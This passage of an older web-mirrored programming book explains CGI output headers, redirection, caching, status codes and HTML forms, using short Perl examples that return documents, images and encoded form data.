print "<HTML>", "\n";
print  "<HEAD><TITLE>List of Environment Variables</TITLE></HEAD>", "\n";
print "<BODY>", "\n";
print "<H1>", "CGI Environment Variables", "</H1>", "<HR>", "\n";
while ( ($env_var, $info) = each %list ) {
      print $info, "<B>", $ENV{$env_var}, "</B>", "<BR>","\n";
}

print "<HR>", "\n";
print "</BODY>", "</HTML>", "\n";
exit (0);

The associative array contains each environment variable and its description. The while loop iterates through the array one variable at a time with the each command. Figure 2.3 shows what the output will look in a browser window.

Figure 2.3: Output of example program

[Graphic: Figure 2-3]

Previous | Home | Next
Other Languages on Macintosh Servers | Book Index | Output from the Common Gateway Interface
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] Output from the Common Gateway Interface

CGI Programming on the World Wide Web

Previous Chapter 3 Next

3. Output from the Common Gateway Interface

Contents:
Overview
CGI and Response Headers
Accept Types and Content Types
The Content-length Header
Server Redirection
The "Expires" and "Pragma" Headers
Status Codes
Complete (Non-Parsed) Headers

3.1 Overview

As described in Chapter 3, Output from the Common Gateway Interface, CGI programs are requested like any other regular documents. The difference is that instead of returning a static document, the server executes a program and returns its output. As far as the browser is concerned, however, it expects to get the same kind of response that it gets when it requests any document, and it's up to the CGI program to produce output that the browser is comfortable with.

The most basic output for a CGI program is a simple document in either plain text or HTML, which the browser displays as it would any document on the Web. However, there are other things you can do, such as:

  • Return graphics and other binary data

  • Tell the browser whether to cache the virtual document

  • Send special HTTP status codes to the browser

  • Tell the server to send an existing document

Each of these techniques involves knowing a little bit about returning additional headers from the CGI program.

Previous | Home | Next
Examining Environment Variables | Book Index | CGI and Response Headers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.2 CGI and Response Headers

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.2 CGI and Response Headers

By now, you should be reasonably comfortable designing CGI programs that create simple virtual documents, like this one:

#!/usr/local/bin/perl
print "Content-type: text/html", "\n\n";
print "<HTML>", "\n";
print "<HEAD><TITLE>Simple Virtual HTML Document</TITLE></HEAD>", "\n";
print "<BODY>", "\n";
print "<H1>", "Virtual HTML", "</H1>", "<HR>", "\n";
print "Hey look, I just created a virtual (yep, virtual) HTML document!", "\n";
print "</BODY></HTML>", "\n";
exit (0);

Up to this point, we have taken the line that outputs "Content-type" for granted. But this is only one type of header that CGI programs can use. "Content-type" is an HTTP header that contains a MIME content type describing the format of the data that follows. Other headers can describe:

  • The size of the data

  • Another document that the server should return (that is, instead of returning a virtual document created by the script itself)

  • HTTP status codes

This chapter will discuss how HTTP headers can be used to fine-tune your CGI documents. First, however, Table 3.1 provides a quick listing of all the HTTP headers you might find useful.

Table 3.1: Valid HTTP Headers
Header | Description
Content-length | The length (in bytes) of the output stream. Implies binary data.
Content-type | The MIME content type of the output stream.
Expires | Date and time when the document is no longer valid and should be reloaded by the browser.
Location | Server redirection (cannot be sent as part of a complete header).
Pragma | Turns document caching on and off.
Status | Status of the request (cannot be sent as part of a complete header).

The following headers are "understood" only by Netscape-compatible browsers (i.e., Netscape Navigator and Microsoft Internet Explorer).

Table 3.2: Netscape-Compatible Headers
Header | Description
Refresh | Client reloads specified document.
Set-Cookie | Client stores specified data. Useful for keeping track of data between requests.

You can see a complete list of HTTP headers at http://www.w3.org/hypertext/WWW/Protocols/HTTP/Object_Headers.html

Also, there are a couple of things you should know about header syntax:

Header lines don't have to be in any special order.

In general, the headers you generate from a CGI program can be output in any order you like.

The header block has to end with a blank line.

HTTP is a very simple protocol. The way the server knows that you're done with your header information is that it looks for a blank line. Everything before the blank line is taken as header information; everything after the blank line is assumed to be data. In Perl, the blank line is generated by two newline characters (\n\n) that are output after the last line of the header. If you don't include the blank line after the header, the server will assume incorrectly that the entire information stream is an HTTP header, and will generate a server error.

Previous | Home | Next
Overview | Book Index | Accept Types and Content Types
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.3 Accept Types and Content Types

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.3 Accept Types and Content Types

CGI applications can return nearly any type of virtual document, as long as the client can handle it properly. It can return a plain text file, an HTML file ... or it can send PostScript, PDF, SGML, etc.

This is why the client sends a list of "accept types" it supports, both directly and indirectly through helper applications, to the server when it issues a request. The server stores this information in the environment variable HTTP_ACCEPT, and the CGI program can check this variable to ensure that it returns a file in a format the browser can handle.

It's also why when you are returning a document, the CGI program needs to use the Content-type header to notify the client what type of data it is sending, so that the browser can format and display the document properly.

Here's a simple snippet of code that checks to see if the browser accepts JPEG or GIF images:

#!/usr/local/bin/perl
$gif_image = "logo.gif";
$jpeg_image = "logo.jpg";
$plain_text = "logo.txt";
$accept_types = $ENV{'HTTP_ACCEPT'};
if ($accept_types =~ m|image/gif|) {
        $html_document = $gif_image;
} elsif ($accept_types =~ m|image/jpeg|) {
        $html_document = $jpeg_image;
} else {
        $html_document = $plain_text;
}
.
.
.

We use a regular expression to search the $accept_types variable for a MIME content type of image/gif and image/jpeg. Once that's done, you can open the file, read it, and output the data to standard output, like we've seen in previous examples.

Previous | Home | Next
CGI and Response Headers | Book Index | The Content-length Header
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.4 The Content-length Header

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.4 The Content-length Header

As you've seen in previous examples, we are not limited to dealing just with HTML text (defined by the MIME type text/html) but we can also output documents formatted in numerous ways, like plain text, GIF or JPEG images, and even AIFF sound clips. Here is a program that returns a GIF image:

#!/usr/local/bin/perl
$gif_image = join ("/", $ENV{'DOCUMENT_ROOT'}, "icons/tiger.gif");
if (open (IMAGE, "<" . $gif_image)) {
        $no_bytes = (stat ($gif_image))[7];

        print "Content-type: image/gif", "\n";
        print "Content-length: $no_bytes", "\n\n";

The first thing to notice is that the content type is image/gif. This signals the browser that a GIF image will be sent, so the browser knows how to display it.

The next thing to notice is the Content-length header. The Content-length header notifies the server of the size of the data that you intend to send. This prevents unexpected end-of-data errors from the server when dealing with binary data, because the server will read the specified number of bytes from the data stream regardless of any spurious end-of-data characters.

To get the content length, we use the stat command, which returns a 13-element array containing the statistics for a given file, to determine the size of the file. The eighth element of this array (index number 7, because arrays are zero-based in Perl) represents the size of the file in bytes. The remainder of the script follows:

        print <IMAGE>;
} else {
        print "Content-type: text/plain", "\n\n";
        print "Sorry! I cannot open the file $gif_image!", "\n";
}
exit (0);

As is the case with binary files, one read on the file handle will retrieve the entire file. Compare that to text files where one read will return only a single line. As a result, this example is fine when dealing with small graphic files, but is not very efficient with larger files. Now, we'll look at an example that reads and displays the graphic file in small pieces:

    #!/usr/local/bin/perl
$gif_image = join ("/", $ENV{'DOCUMENT_ROOT'}, "icons/tiger.gif");
if (open (IMAGE, "<" . $gif_image)) {
        $no_bytes = (stat ($gif_image))[7];
        $piece_size = $no_bytes / 10;
        print "Content-type: image/gif", "\n";
        print "Content-length: $no_bytes", "\n\n";
        for ($loop=0; $loop <= $no_bytes; $loop += $piece_size) {
                read (IMAGE, $data, $piece_size);
            print $data;
        }
         close (IMAGE);
} else {
        print "Content-type: text/plain", "\n\n";
        print "Sorry! I cannot open the file $gif_image!", "\n";
}
exit (0);

The loop iterates through the file reading and displaying pieces of data that are one-tenth the size of the entire binary file.

As you will see in the following section, you can use server redirection to return existing files much more quickly and easily than with CGI programs like the ones described earlier.

Previous | Home | Next
Accept Types and Content Types | Book Index | Server Redirection
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.5 Server Redirection

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.5 Server Redirection

Thus far we've seen CGI examples that return virtual documents created on the fly. However, another thing CGI programs can do is to instruct the server to retrieve an existing document and return that document instead. This is known as server redirection.

To perform server redirection, you need to send a Location header to tell the server what document to send. The server will retrieve the specified document from the Web, giving the appearance that the client had not requested your CGI program, but that document (see Figure 3.1).

Figure 3.1: Server redirection

[Graphic: Figure 3-1]

A common use for this feature is to return a generic document that contains static information. For example, say you have a form for users to fill out, and you want to display a thank-you message after someone completes the form. You can have the CGI program create and display the message each time it is called. But a more efficient way would be for the program to send instructions to the server to redirect and retrieve a file that contains a generic thank-you message.

Suppose you have an HTML file (thanks.html) like the one below, that you want to display after the user fills out one of your forms:

<HTML>
<HEAD><TITLE>Thank You!</TITLE></HEAD>
<BODY>
<H1>Thank You!</H1>
<HR>
Thank You for filling out this form. We will be using your
input to improve our products.
Thanks again,
WWW Software, Inc.
</BODY>
</HTML>

You could use the programs discussed earlier to return static documents, but it would be counterproductive to do it in that manner. Instead, it is much quicker and simpler to do the following:

#!/usr/local/bin/perl
print "Location: /thanks.html", "\n\n";
exit (0);

The server will return the HTML file thanks.html located in the document root directory. You don't have to worry about returning the MIME content type for the document; it is taken care of by the server. An important thing to note is that you cannot return any content type headers when you are using server redirection.

You can use server redirection to your advantage and design CGI applications like the following:

#!/usr/local/bin/perl
$uptime = `/usr/ucb/uptime`;
($load_average) = ($uptime =~ /average: ([^,]*)/);
$load_limit = 10.0;
$simple_document = "/simple.html";
$complex_document = "/complex.html";
if ($load_average >= $load_limit) {
        print "Location: $simple_document", "\n\n";
} else {
        print "Location: $complex_document", "\n\n";
}
exit (0);

This program checks the load average of the host system with the uptime command (see Chapter 1, The Common Gateway Interface (CGI) for an explanation of the regular expression). Depending on the load average, one of two documents is returned; a rich, complicated HTML document with graphics if the system is not "busy," or a simple text-only document otherwise.

And the last thing to note is that you are not limited to returning documents on your own server. You can also return a document (static or virtual) located elsewhere on the Internet, so long as it has a valid URL:

print "Location: http://www.ora.com", "\n\n";

For example, this statement will return the home page for O'Reilly and Associates.

Previous | Home | Next
The Content-length Header | Book Index | The "Expires" and "Pragma" Headers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.6 The "Expires" and "Pragma" Headers

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.6 The "Expires" and "Pragma" Headers

Most browsers cache (or store internally) the documents you access. This is a very positive feature that saves a lot of resources; the browser doesn't have to retrieve the document every time you look at it. However, it can be a slight problem when you are dealing with virtual documents created by CGI programs. Once the browser accesses a virtual document produced by a CGI program, it will cache it. The next time you try to access the same document, the browser will not make a request to the server, but will reload the document from its cache. To see the effects of caching, try running the following program:

#!/usr/local/bin/perl
chop ($current_date = `/bin/date`);
$script_name = $ENV{'SCRIPT_NAME'};
print "Content-type: text/html", "\n\n";
print "<HTML>", "\n";
print "<HEAD><TITLE>Effects of Browser Caching</TITLE></HEAD>", "\n";
print "<BODY><H1>", $current_date, "</H1>", "\n";
print "<P>", qq|<A HREF="$script_name">Click here to run again!</A>|, "\n";
print "</BODY></HTML>", "\n";
exit (0);

This program displays the current time, as well as a hypertext link to itself. If you click on the link to run the program again, the date and time that is displayed should change, but it does not, because the browser is retrieving the cached document. You need to explicitly tell the browser to reload the document if you want to run the CGI program again.

Fortunately, there is a solution to this problem. If you don't want a virtual document to be cached, you can use the Expires and/or Pragma headers to instruct the client not to cache the document.

#!/usr/local/bin/perl
print "Content-type: text/html", "\n";
print "Pragma: no-cache", "\n\n";
.
.
.

or

#!/usr/local/bin/perl
print "Content-type: text/html", "\n";
print "Expires: Wednesday, 27-Dec-95 05:29:10 GMT", "\n\n";
.
.
.

However, some browsers don't handle these headers correctly, so don't rely on them.

Previous | Home | Next
Server Redirection | Book Index | Status Codes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.7 Status Codes

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.7 Status Codes

Status codes are used by the HTTP protocol to communicate the status of a request. For example, if a document does not exist, the server returns a "404" status code to the browser. If a document has been moved, a "301" status code is returned.

CGI programs can send status information as part of a virtual document. Here's an arbitrary example that returns success if the remote host name is bu.edu, and failure otherwise:

#!/usr/local/bin/perl
$remote_host = $ENV{'REMOTE_HOST'};
print "Content-type: text/plain", "\n";
if ($remote_host eq "bu.edu") {
        print "Status: 200 OK", "\n\n";
        print "Great! You are from Boston University!", "\n";
} else {
        print "Status: 400 Bad Request", "\n\n";
        print "Sorry! You need to access this from Boston University!", "\n";
}
exit (0);

The Status header consists of a three-digit numerical status code, followed by a string representing the code. A status value of 200 indicates success, while a value of 400 constitutes a bad request. In addition to these two, there are numerous other status codes you can use for a variety of situations, ranging from an unauthorized or forbidden request to internal system errors. Table 3.3 shows a list of some of commonly used status codes.

Table 3.3: HTTP Status Codes
Status Code | Message
200 | Success
204 | No Response
301 | Document Moved
401 | Unauthorized
403 | Forbidden
404 | Not Found
500 | Internal Server Error
501 | Not Implemented

For a complete listing of status codes, see: http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html

Unfortunately, most browsers do not support all of them.

The "No Response" Code

One status code that deserves special attention is status code 204, which produces a "no response." In other words, the browser will not load a new page if your CGI program returns a status code of 204:

#!/usr/local/bin/perl
print "Content-type: text/plain", "\n";
print "Status: 204 No Response", "\n\n";
print "You should not see this message. If you do, your browser does", "\n";
print "not implement status codes correctly.", "\n";
exit (0);

The "no response" status code can be used when dealing with forms or imagemaps. For example, if the user enters an invalid value in one of the fields in a form or clicks in an unassigned section of an imagemap, you can return this status code to instruct the client to not load a new page.

Previous | Home | Next
The "Expires" and "Pragma" Headers | Book Index | Complete (Non-Parsed) Headers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.8 Complete (Non-Parsed) Headers

CGI Programming on the World Wide Web

Previous Chapter 3
Output from the Common Gateway Interface 		Next

3.8 Complete (Non-Parsed) Headers

Thus far, we've only seen examples with partial HTTP headers. That is, when all you include is a Content-type header, the server intercepts the output and completes the header information with header information of its own. The header information generated by the server might include a "200 OK" status code (if you haven't overridden it with a Status header), the date and time, the version of the server, and any other information that it thinks a browser might find useful.

But as we mentioned in Chapter 1 CGI programs can override the header information generated by the server by generating a complete HTTP header on its own.

Why go to all the trouble of generating your own header? When your program returns a complete HTTP header, there is no extra overhead incurred by the server. Instead, the output of the CGI program goes directly to the client, as shown in Figure 3.2. This may mean faster response time for the user. However, it also means you need to be especially careful when generating your own headers, since the server won't be able to circumvent any errors.

Figure 3.2: Partial and complete headers

[Graphic: Figure 3-2]

How does the server know if the CGI program has output a partial or a complete HTTP header without "looking" at it? It depends on which server you use. On the NCSA and CERN servers, programs that output complete headers must start with the "nph-" prefix (e.g., nph-test.pl), which stands for Non-Parsed Header.

The following example illustrates the usefulness of creating an NPH script:

#!/usr/local/bin/perl
$server_protocol = $ENV{'SERVER_PROTOCOL'};
$server_software = $ENV{'SERVER_SOFTWARE'};
print "$server_protocol 200 OK", "\n";
print "Server: $server_software", "\n";
print "Content-type: text/plain", "\n\n";
print "OK, Here I go. I am going to count from 1 to 50!", "\n";
$| = 1;
for ($loop=1; $loop <= 50; $loop++) {
        print $loop, "\n";
        sleep (2);
}
print "All Done!", "\n";
exit (0);

When you output a complete header, you should at least return header lines consisting of the HTTP protocol revision and the status of the program, the server name/version (e.g., NCSA/1.4.2), and the MIME content type of the data.

You can run this program by opening the URL to:

http://your.machine/cgi-bin/nph-count.pl

When you run this CGI script, you should see the output in "real time": the client will display the number, wait two seconds, display the next number, etc.

Now remove the complete header information (except for Content-type), change the name to count.pl (instead of nph-count.pl), and run it again. What's the difference? You will no longer see the output in "real time"; the client will display the entire document at once.

Previous | Home | Next
Status Codes | Book Index | Forms and CGI
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] Forms and CGI

CGI Programming on the World Wide Web

Previous Chapter 4 Next

4. Forms and CGI

Contents:
HTML Tags
Sending Data to the Server
Designing Applications Using Forms in Perl
Decoding Forms in Other Languages

As we discussed briefly in Chapter 4, Forms and CGI forms are generally used for two purposes: data collection and interactive communication. You can conduct surveys or polls, and present registration or online ordering information through the use of forms. They are also used to create an interactive medium between the user and the Web server. For example, a form can ask the user to select a document out of a menu, whereby the server returns the chosen document.

The main advantage of forms is that you can use them to create a front end for numerous gateways (such as databases or other information servers) that can be accessed by any client without worrying about platform dependency. On the other hand, there are some shortcomings with the current implementation:

  • The interface does not support any data types besides the general "text" type. The next HTML specification could contain other data types, such as "int," "date," "float," and "url."

  • User input cannot be checked on the client side; the user has to press the Submit button and the CGI program on the server side has to make sure the input is valid.

This chapter covers:

  • The HTML tags for writing forms

  • How form data is sent to the server

  • Examples of designing form-based CGI applications, both in Perl and other languages

4.1 HTML Tags

A form consists of two distinct parts: the HTML code and the CGI program. HTML tags create the visual representation of the form, while the CGI program decodes (or processes) the information contained within the form. Before we look at how CGI programs process form information, let's understand how a form is created. In this section, we'll cover the form tags and show examples of their use.

The FORM Tag

Here is the beginning of a simple form:

<FORM ACTION="/cgi-bin/program.pl" METHOD="POST">

The <FORM> tag starts the form. A document can consist of multiple forms, but forms cannot be nested; a form cannot be placed inside another form.

The two attributes within the <FORM> tag ( ACTION and METHOD) are very important. The ACTION attribute specifies the URL of the CGI program that will process the form information. You are not limited to using a CGI program on your server to decode form information; you can specify a URL of a remote host if a program that does what you want is available elsewhere.

The METHOD attribute specifies how the server will send the form information to the program. POST sends the data through standard input, while GET passes the information through environment variables. If no method is specified, the server defaults to GET. Both methods have their own advantages and disadvantages, which will be covered in detail later in the chapter.

In addition, another attribute, ENCTYPE, can be specified. This represents the MIME type (or encoding scheme) for the POST data, since the information is sent to the program as a data stream. Currently, only two ENCTYPES are allowed: application/x-www-form-urlencoded and multipart/form-data. If one is not specified, the browser defaults to application/x-www-form-urlencoded. Appendix D, CGI Lite, shows an example of using multipart/form-data, while this chapter is devoted to application/x-www-form-urlencoded.

Text and Password Fields

Most form elements are implemented using the <INPUT> tag. The TYPE attribute to <INPUT> determines what type of input is being requested. Several different types of elements are available: text and password fields, radio buttons, and checkboxes. The following lines are examples of simple text input.

Name: <INPUT TYPE="text" NAME="user" SIZE=40><BR>
Age: <INPUT TYPE="text" NAME="age"  SIZE=3 MAXLENGTH=3><BR>
Password: <INPUT TYPE="password" NAME="pass" SIZE=10><BR>

In this case, two text fields and one password field are created using the "text" and "password" arguments, respectively. The password field is basically the same as a text field except the characters entered will be displayed as asterisks or bullets. If you skip the TYPE attribute, a text field will be created by default.

The NAME attribute defines the name of the particular input element. It is not displayed by the browser, but is used to label the data when transferred to the CGI program. For example, the first input field has a NAME="user" attribute. If someone types "andy" into the first input field, then part of the data sent by the browser will read:

    user=andy

The CGI program can later retrieve this information (as we talked about briefly in Chapter 2, Input to the Common Gateway Interface, and will discuss in more detail later in this chapter) and parse it as needed.

The optional VALUE attribute can be used to insert an initial "default" value into the field. This string can be overwritten by the user.

Other optional attributes are SIZE and MAXLENGTH. SIZE is the physical size of the input element; the field will scroll if the input exceeds the size. The default size is 20 characters. MAXLENGTH defines the maximum number of characters that will be accepted by the browser; by default there is no limit.

In the following line, the initial text field size is expanded to 40 characters, the maximum length is specified as 40 as well (so the field will not scroll), and the initial value string is "Shishir Gundavaram."

<INPUT TYPE="text"  NAME="user"  SIZE=40 MAXLENGTH=40 VALUE="Shishir Gundavaram"  >

Before we move on, there is still another type of text field. It is called a "hidden" field and allows you to store information in the form. The client will not display the field. For example:

<INPUT TYPE="hidden" NAME="publisher" VALUE="ORA">

Hidden fields are most useful for transferring information from one CGI application to another. See Chapter 8, Multiple Form Interaction, for an example of using hidden fields.

Submit and Reset Buttons

Two more important "types" of the <INPUT> tag are Submit and Reset.

<INPUT TYPE="submit" VALUE="Submit the form">
<INPUT TYPE="reset"  VALUE="Clear all fields">

Nearly all forms offer Submit and Reset buttons. The Submit button sends all of the form information to the CGI program specified by the ACTION attribute. Without this button, the form will be useless since it will never reach the CGI program.

Browsers supply a default label on Submit and Reset buttons (generally, the unimaginative labels "Submit" and "Reset," of course). However, you can override the default labels using the VALUE attribute.

You can have multiple Submit buttons:

<INPUT TYPE="submit" NAME="option" VALUE="Option 1">
<INPUT TYPE="submit" NAME="option" VALUE="Option 2">

If the user clicked on "Option 1", the CGI program would get the following data:

option=Option 1

You can also have images as buttons:

    <INPUT TYPE="image" SRC="/icons/button.gif" NAME="install"
            VALUE="Install Program">

When you click on an image button, the browser will send the coordinates of the click:

install.x=250&install.y=20

Note that each field information is delimited by the " &" character. We will discuss this in detail later in the chapter. On the other hand, if you are using a text browser, and you select this button, the browser will send the following data:

install=Install Program

The Reset button clears all the information entered by the user. Users can press Reset if they want to erase all their entries and start all over again.

Figure 4.1 shows how the form will look in Netscape Navigator.

Figure 4.1: Form with text input fields

[Graphic: Figure 4-1]

Radio Buttons and Checkboxes

Radio buttons and checkboxes are typically used to present the user with several options.

A checkbox creates square buttons (or boxes) that can be toggled on or off. In the example below, it is used to create four square checkboxes.

    <FORM ACTION="/cgi-bin/program.pl" METHOD="POST">
Which movies do you want to order: <BR>
Amadeus <INPUT TYPE="checkbox" NAME="amadeus">
The Last Emperor <INPUT TYPE="checkbox" NAME="emperor">
Gandhi <INPUT TYPE="checkbox" NAME="gandhi">
Schindler's List <INPUT TYPE="checkbox" NAME="schindler">
<BR>

If a user toggles a checkbox "on" and then submits the form, the browser uses the value "on" for that variable name. For example, if someone clicks on the "Gandhi" box in the above example, the browser will send:

gandhi=on

You can override the value "on" using the VALUE attribute:

Gandhi <INPUT TYPE="checkbox" NAME="gandhi" VALUE="yes">

Now when the "Gandhi" checkbox is checked, the browser will send:

gandhi=yes

One checkbox is not related to another. Any number of them can be checked at the same time. A radio button differs from a checkbox in that only one radio button can be enabled at a time. For example:

How do you want to pay for this product: <BR>
Master Card: <INPUT TYPE="radio" NAME="payment" VALUE="MC" CHECKED><BR>
Visa: <INPUT TYPE="radio" NAME="payment" VALUE="Visa"><BR>
American Express: <INPUT TYPE="radio" NAME="payment" VALUE="AMEX"><BR>
Discover: <INPUT TYPE="radio" NAME="payment" VALUE="Discover"><BR>
</FORM>

Here are a few guidelines for making a radio button work properly:

  • All options must have the same NAME (in this example, "payment"). This is how the browser knows that they should be grouped together, and can therefore ensure that only one radio button using the same NAME can be selected at a time.

  • Whereas with checkboxes supplying a different VALUE is only a matter of taste, with radio buttons different VALUEs are crucial to getting meaningful results. Without a specified VALUE, no matter which item is checked, the browser will assign the string "on" to the "payment" NAME variable. The CGI program therefore has no way to know which item was actually checked. So each item in a radio button needs to be assigned a different VALUE to make sure that the CGI program knows which one was selected.

For both radio buttons and checkboxes, the CHECKED attribute determines whether the item should be enabled by default. In the radio button example, the "Master Card" option is given a CHECKED value, effectively making it the default value.

Figure 4.2 shows how this example will be rendered by the browser.

Figure 4.2: Form with radio buttons and checkboxes

[Graphic: Figure 4-2]

Menus and Scrolled Lists

Menus and scrolled lists are generally used to present a large number of options or choices to the user. The following is an example of a menu:

<FORM ACTION="/cgi-bin/program.pl" METHOD="POST">
Choose a method of payment:
<SELECT NAME="card" SIZE=1>
<OPTION SELECTED>Master Card
<OPTION>Visa
<OPTION>American Express
<OPTION>Discover
</SELECT>

Option menus and scrolled lists are created using the SELECT tag, which has an opening and a closing tag. The SIZE attribute determines if a menu or a list is displayed. A value of 1 produces a menu, and a value greater than 2 produces a scrolled list, in which case the number represents the number of items that will be visible at one time.

A selection in a menu or scrolled list is added using the OPTION tag. The SELECTED attribute to OPTION allows you to set a default selection.

Now for an example of a scrolled list (a list with a scrollbar):

<SELECT NAME="books" SIZE=3 MULTIPLE>
<OPTION SELECTED>TCP/IP Network Administration
<OPTION>Linux Network Administrators Guide
<OPTION>DNS and BIND
<OPTION>Computer Security Basics
<OPTION>System Performance Tuning
</SELECT>
</FORM>

The example above creates a scrolled list with three visible items and the ability to select multiple options. (The MULTIPLE attribute specifies that more than one item can be selected.)

Figure 4.3 shows what the menus and scrolled list look like.

Figure 4.3: Form with menus and scrolled lists

[Graphic: Figure 4-3]

Multiline Text Fields

You must have seen numerous guestbooks on the Web that ask for your comments or opinions, where you can enter a lot of information. This is accomplished by using a multiline text field. Here is an example:

 <FORM ACTION="/cgi-bin/program.pl" METHOD="POST">
<TEXTAREA ROWS=10 COLS=40 NAME="comments">
</TEXTAREA>

This creates a scrolled text field with 10 rows and 40 columns. (10 rows and 40 columns designates only the visible text area; the text area will scroll if the user types further).

Notice that you need both the beginning <TEXTAREA> and the ending </TEXTAREA> tags. You can enter default information between these tags.

<TEXTAREA ROWS=10 COLS=40 NAME="comments_2">
This is some default information.
Some more...
And some more...
</TEXTAREA>
</FORM>

You have to remember that newlines (or carriage returns) are not ignored in this field--unlike HTML. In the preceding example, the three separate lines will be displayed just as you typed them.

The multiline examples will be rendered by the browser as shown in Figure 4.4.

Figure 4.4: Form with multiline text input

[Graphic: Figure 4-4]

Quick Reference to Form Tags

Before we get going, here's a short list of all the available form tags:

Table 4.1: Form Tags
Form Tag | Description
<FORM ACTION="/cgi-bin/prog.pl" METHOD="POST"> | Start the form
<INPUT TYPE="text" NAME="name" VALUE="value" SIZE="size"> | Text field
<INPUT TYPE="password" NAME="value" VALUE="value" SIZE="size"> | Password field
<INPUT TYPE="hidden" NAME="name" VALUE="value"> | Hidden field
<INPUT TYPE="checkbox" NAME="name" VALUE="value"> | Checkbox
<INPUT TYPE="radio" NAME="name" VALUE="value"> | Radio button
<SELECT NAME="name" SIZE=1> <OPTION SELECTED>One <OPTION>Two : </SELECT> | Menu
<SELECT NAME="name" SIZE=n MULTIPLE> | Scrolled list
<TEXTAREA ROWS=yy COLS=xx NAME="name"> . . </TEXTAREA> | Multiline text fields
<INPUT TYPE="submit" VALUE="Message!"> <INPUT TYPE="submit" NAME="name" VALUE="value"> <INPUT TYPE="image" SRC="/image" NAME="name" VALUE="value"> | Submit buttons
<INPUT TYPE="reset" VALUE="Message!"> | Reset button
</FORM> | Ends form

Previous | Home | Next
Complete (Non-Parsed) Headers | Book Index | Sending Data to the Server
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.2 Sending Data to the Server

CGI Programming on the World Wide Web

Previous Chapter 4
Forms and CGI 		Next

4.2 Sending Data to the Server

Earlier in this chapter we mentioned the application/x-www-form-urlencoded MIME type. The browser uses this MIME type to encode the form data.

First, each form element's name--specified by the NAME attribute--is equated with the value entered by the user to create a key-value pair. For example, if the user entered "30" when asked for the age, the key-value pair would be (age=30). Each key-value pair is separated by the " &" character.

Second, since the variable names for the form element and the actual form data are standard text, it is possible this text could consist of characters that will confuse browsers. To prevent possible errors, the encoding scheme translates all "special" characters to their corresponding hexadecimal codes. These "special" characters include control characters and certain alphanumeric symbols. For example, the string "Thanks for the help!" would be converted to "Thanks%20for%20the%20help%21". This process is repeated for each key-value pair to create a query string.[1]

[1] Before the forms interface, the only way you could retrieve user information was through a search field (i.e., <ISINDEX>), which passed the data to the server with spaces converted to plus signs ( "+").

For text and password fields, the user input will represent the value. If no information was entered, the key-value pair will be sent anyway, with the value left blank (i.e., "name=").

For radio buttons and checkboxes, the VALUE attribute represents the value when the button element is checked. If no VALUE is specified, the value defaults to "on." An unchecked checkbox will not be sent as a key-value pair; it will be ignored.

The CGI program then has to "decode" this information in order to access the form data. The encoding scheme is the same for both GET and POST.

GET vs. POST

There are two methods for sending form data: GET and POST. The main difference between these methods is the way in which the form data is passed to the CGI program. If the GET method is used, the query string is simply appended to the URL of the program when the client issues the request to the server. This query string can then be accessed by using the environment variable QUERY_STRING. Here is a sample GET request by the client, which corresponds to the first form example:

GET /cgi-bin/program.pl?user=Larry%20Bird&age=35&pass=testing HTTP/1.0
Accept: www/source
Accept: text/html
Accept: text/plain
User-Agent: Lynx/2.4 libwww/2.14

As we discussed in Chapter 2, the query string is appended to the URL after the "?" character.[2] The server then takes this string and assigns it to the environment variable QUERY_STRING.

[2] The information in the password field is not encrypted in any way; it is plain text. You have to be very careful when asking for sensitive data using the password field. If you want security, please use server authentication.

The GET method has both advantages and disadvantages. The main advantage is that you can access the CGI program with a query without using a form. In other words, you can create " canned queries." Basically, you are passing parameters to the program. For example, if you want to send the previous query to the program directly, you can do this:

<A HREF="/cgi-bin/program.pl?user=Larry%20Bird&age=35&pass=testing">CGI
    Program</A>

Here is a simple program that will aid you in encoding data:

#!/usr/local/bin/perl
print "Please enter a string to encode: ";
$string = <STDIN>;
chop ($string);
$string =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
print "The encoded string is: ", "\n";
print $string, "\n";
exit(0);

This is not a CGI program; it is meant to be run from the shell. When you run the program, the program will prompt you for a string to encode. The <STDIN> operator reads one line from standard input. It is similar to the <FILEHANDLE> construct we have been using. The chop command removes the trailing newline character ("\n") from the input string. Finally, the user-specified string is converted to a hexadecimal value with the sprintf command, and printed out to standard output.

A query is one method of passing information to a CGI program via the URL. The other method involves sending extra path information to the program. Here is an example:

<A HREF="/cgi-bin/program.pl/user=Larry%20Bird/age=35/pass=testing>CGI Program</A>

The string "/user=Larry%20Bird/age=35/pass=testing" will be placed in the environment variable PATH_INFO when the request gets to the CGI program. This method of passing information to the CGI program is generally used to provide file information, rather than form data. The NCSA imagemap program works in this manner by passing the filename of the selected image as extra path information.

If you use the "question-mark" method or the pathname method to pass data to the program, you have to be careful, as the browser or the server may truncate data that exceeds an arbitrary number of characters.

Now, here is a sample POST request:

POST /cgi-bin/program.pl HTTP/1.0
Accept: www/source
Accept: text/html
Accept: text/plain
User-Agent: Lynx/2.4 libwww/2.14
